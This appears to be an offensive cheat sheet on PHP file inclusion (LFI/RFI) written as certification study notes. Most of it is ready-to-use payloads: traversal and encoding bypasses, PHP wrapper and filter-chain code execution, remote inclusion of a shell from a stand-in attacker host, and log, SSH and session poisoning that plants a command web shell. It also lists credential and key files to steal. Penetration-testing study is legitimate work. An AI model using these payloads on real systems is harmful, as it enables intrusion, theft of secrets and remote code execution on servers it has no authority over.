Web

File Inclusion (LFI / RFI)

LFI/RFI from the CWES path: path traversal + filter bypasses, PHP filter/wrappers for source disclosure and RCE, RFI, log/session/SSH/SMTP poisoning, /proc/self/fd, LFI fuzzing workflow, and high-value target files. Every payload separated.

Basic traversal

Direct path:

/etc/passwd

Relative traversal:

../../../../etc/passwd

Non-recursive filter bypass (strips ../ once):

....//....//....//etc/passwd

URL-encoded traversal:

%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

Double URL-encoded:

%252e%252e%252f%252e%252e%252fetc%252fpasswd

Approved-path prefix bypass:

./languages/../../../../etc/passwd

Null byte (PHP < 5.5):

/etc/passwd%00

PHP filter - read source

Read a PHP file as base64:

php://filter/read=convert.base64-encode/resource=config

Chain filters (uppercase then base64):

php://filter/read=string.toupper|convert.base64-encode/resource=index.php

Decode the output:

echo "BASE64OUTPUT" | base64 -d

PHP wrappers - code execution

data:// (requires allow_url_include), decoded = <?php system($_GET["cmd"]); ?>:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==

php://input (PHP code goes in the POST body):

php://input

expect:// (if the extension is installed):

expect://id

RFI (allow_url_include = On)

Include a shell from your HTTP server:

http://OUR_IP/shell.php

From an SMB share (Windows target):

\\OUR_IP\share\shell.php

Log poisoning

Apache/Nginx access log - inject via User-Agent:

curl -s "http://IP/index.php" -A '<?php system($_GET["cmd"]); ?>'

Then include the log to trigger:

http://IP/index.php?language=/var/log/apache2/access.log&cmd=id

SSH auth.log - connect with PHP as the username:

ssh '<?php system($_GET["cmd"]); ?>'@TARGET

Then include it:

http://IP/index.php?language=/var/log/auth.log&cmd=id

Session file poisoning - inject via a parameter:

http://IP/index.php?language=<?php system($_GET['cmd']); ?>

Then include your session file:

http://IP/index.php?language=/var/lib/php/sessions/sess_PHPSESSID&cmd=id

/proc/self/fd

Enumerate open file descriptors:

for fd in $(seq 0 20); do curl -s "http://TARGET/page.php?file=/proc/self/fd/$fd" | grep -v "No such"; done

LFI fuzzing workflow

Find the vulnerable parameter:

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://IP:PORT/index.php?FUZZ=value' -fs 2287

Fuzz LFI bypass payloads:

ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://IP/index.php?language=FUZZ' -fs 2287

Path traversal (standalone)

Path traversal reads arbitrary files directly via a file parameter — without needing PHP wrappers or log poisoning.

Basic test

?file=../../../../etc/passwd
?filename=../../../etc/shadow
?path=....//....//....//etc/passwd

Encoding bypasses

URL encoded:

..%2f..%2f..%2fetc%2fpasswd

Double URL encoded:

..%252f..%252f..%252fetc%252fpasswd

Unicode / overlong UTF-8:

..%c0%af..%c0%afetc%c0%afpasswd
..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd

Null byte (PHP < 5.5, truncates .php extension appended by app):

../../../../etc/passwd%00
../../../../etc/passwd%00.jpg

Strip filter bypass (../ removed once)

....//....//....//etc/passwd
..././..././..././etc/passwd

Absolute path (if the app just passes to fopen/file_get_contents)

?file=/etc/passwd
?file=C:\Windows\System32\drivers\etc\hosts

Burp Intruder fuzzing

Use the Fuzzing - path traversal payload list from seclists:

/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt

Set the file parameter as the injection point in Intruder. Filter by response length differences.


High-value target files

Linux:

/etc/passwd  /etc/shadow  /proc/self/environ  /root/.ssh/id_rsa
/var/log/apache2/access.log  /var/log/auth.log  /var/www/html/.env  /etc/php.ini

Windows:

C:\Windows\System32\drivers\etc\hosts  C:\inetpub\wwwroot\web.config
C:\Users\<user>\.ssh\id_rsa  C:\xampp\apache\conf\httpd.conf

LFI → RCE via PHP Filter Chains

Achieve RCE through LFI without log poisoning or allow_url_include=On — chain PHP filter conversions to inject a PHP stub into the file stream at include time.

The chain uses convert.iconv and convert.base64-decode filters in sequence to reconstruct arbitrary PHP code from scratch, even with no writeable path.

Quick RCE via php_filter_chain_generator

git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'

Use the generated php://filter/... string as the LFI payload:

GET /index.php?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv...../resource=/etc/passwd&cmd=id

Small chain (minimal stub)

python3 php_filter_chain_generator.py --chain '<?php system($_GET[0]);?>'

Then trigger:

?file=<GENERATED_CHAIN>&0=id

Requirements

  • php://filter available (default — no ini change needed)
  • App passes user input to include(), require(), or file_get_contents()
  • allow_url_include is NOT required
  • Works on PHP 7.x and 8.x